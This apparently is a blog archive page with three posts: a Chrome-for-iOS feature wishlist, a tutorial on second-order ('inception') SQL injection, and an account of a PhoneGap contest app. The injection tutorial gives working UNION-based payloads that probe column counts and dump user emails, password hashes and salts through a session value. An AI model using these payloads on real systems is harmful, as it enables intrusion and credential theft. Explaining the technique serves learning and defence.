Things I expect in a Chrome/iOS update

I’ve changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.

Why I love Chrome

Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.

  • Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don’t own a Mac, so I can’t comment against how Safari/iCloud does it, but it works well enough for me.
  • All my desktop bookmarks (and bookmarklets) are available and functioning instantly.
  • Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.
  • Incognito Mode (I previously used Dolphin in private mode, but this is far better).
  • Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. See Image for Comparision
  • Tab Switching is brilliant. It seems to be inspired/copied straight from Paper, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I’ve read people complaining about this, but it helps me browse on the ipad one-handed.
  • It feels fast, especially after continous use. I don’t know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.

Note: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well. I’ve ditched Facebook App for a shortcut icon to touch.facebook.com as a result.

Things I want

  • Support for configurable search engines. I use them extensively (for eg duckduckgo, google lucky search, amazon, ebay, github, stackoverflow and even google mobile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).
  • Find in Page. This is a no-brainer. Edit: This is available via Chrome Customizer in Cydia for a jailbroken device.
  • Ability to turn off images/javascript) (Content Settings). I’m not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).
  • Support for emailing an entire page (rendered).
  • UserScript support. I don’t know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?
  • Readability/iReader like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. Update: ChromeCustomizer can do this via settings menu (see below).
  • Better access to bookmarks/bookmarklets. At least show me the mobile bookmarks so I can keep them separate.
  • Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.
  • App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as “Chrome Apps” against “Extensions”, which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.
  • Better history support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you’re at it).
  • Mailto support (for gmail etc). Don’t know if possible, but would be nice to have.
  • Selection Mailing. Just let me select and mail some html.
  • Handle pdfs better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the “Open In iBooks” link. Don’t see this happening though. (Update: This was fixed in a Chrome Update)
  • Webintents support would be nice to have (via something other than chrome Webstore, I Guess)
  • CloudPrint support. I don’t use this, but I am assuming there are people who do.
  • FullScreen support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome’s faster tab switching should help it out with some of the Full Screen issues. (Edit: This is available via a three finger tap if you install Chromizer from Cydia’s ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.

There is also a ChromeURL tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).

Another one called ChromeCustomizer offers the following:

  • Add one bookmarklet to the settings menu. I’m using Readable at present.
  • Adds a broken fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer’s 3 finger tap for fullscreen.
  • Adds a Find in Page feature. Update: This is now available
  • Adds some filtering for ads/tracking websites.
  • Adds an option to change Chrome tab switching mode (iPhone vs iPad).

See this blog post for some more tweaks available on cydia.

Nested SQL Injections

I recently did something along this line, and this technique is really cool. (I prefer to call it “inception” injection). Its pretty easy once you figure it out, so here it goes.

If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a “input variable” into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).

Query 1:

SELECT * FROM users WHERE email='$email' AND password = '$pass'

This query is usually accompanied with:

<?php
$_SESSION['email'] = $row['username'];

Query 2:

Assuming something like a profile page:

SELECT * FROM user_details WHERE email='{$_SESSION['email']}'

#Injection

Injecting the first query (basic)

SELECT * FROM users WHERE email='user@email.com' # AND password=''

Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.

Thinking backwards, we could create a custom query for user_details:

SELECT * FROM user_details WHERE email='' UNION SELECT * FROM user_details #

This would show the details of the first user in the profile page. Let’s think a bit larger:

SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password) FROM user_details #

Usually, this won’t work (different number of columns in results). You’d have to use ORDER BY to guess the number of columns. Writing only the UNION part now:

UNION SELECT * FROM user_details ORDER BY 1 #
UNION SELECT * FROM user_details ORDER BY 2 #
UNION SELECT * FROM user_details ORDER BY 3 #
UNION SELECT * FROM user_details ORDER BY 4 # -- Gives Error

So we realize that user_details has 3 columns. Coming back, we could do:

UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password), 3 FROM users #

That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:

UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0)

Change the OFFSET and you’re ready to roll.

Inception Injection

This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn’t give much output). The only thing you can modify is the email, which offers you a single field.

However, the only attack vector ($_SESSION) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.

SELECT * FROM users WHERE email='' UNION SELECT * FROM users # -- will give us first user
SELECT * FROM users WHERE email='' UNION SELECT * FROM users  ORDER BY 1 # -- keep increasing to get number of columns
SELECT * FROM users WHERE email='' UNION SELECT 1,2,3 FROM users # -- This would let us know which column corresponds to the email id
SELECT * FROM users WHERE email='' UNION SELECT "<inject second query here>",2,3 FROM users # -- This would let us know which column corresponds to the email id

Although we have been writing injection code starting with UNION, it actually would start with ‘ UNION… Using our last injection code for the second query here, it becomes:

SELECT * FROM users WHERE email='' UNION SELECT "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #",2,3 FROM users #

What happens on the server side:

<?php
	$_SESSION['email'] = "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"

and the second query becomes:

SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #

Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.

Akira - Winning entry to the Adobe Express Apps Contest

This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.

Contest Rules

The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.

The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and use the hardware capabilities offered by the device.

Our Interpretation

We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.

We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :

  1. Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.
  2. A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.
  3. Maps, obviously. A map for all the previous journeys that you have taken.

Work

We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better integration with Dreamweaver.

The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the Phonegap Starter App on GitHub which was quite good. The examples directory in the phonegap download is what we ended up using, though.

Edit: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.

The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.

The steps, which took me a lot of time to find on the internet, include :

  1. Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.
  2. Follow the instructions on this youtube video to allow xcode to compile your application without Code Signing.
  3. Create a corvora application in xcode and follow these instructions to add the www folder to the application.
  4. Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.

You may need to change your application configuration to “Do not code sign” for this to work.

Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.

The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.

Blackberry

Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.

Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.

Backend

I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.

Code

The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my akira and akira-backend repositories.

Thoughts on Phonegap

My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly “Phonegap is awesome”. And i seriously mean that. I’ve got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.

I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.

Expectations

What I’d really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.

This is all just theory, as you’d have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.

Presentation

The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. View Original.

Prize

I won a PS3. Yay!

If you have any problems with the code, or the process, feel free to reach out.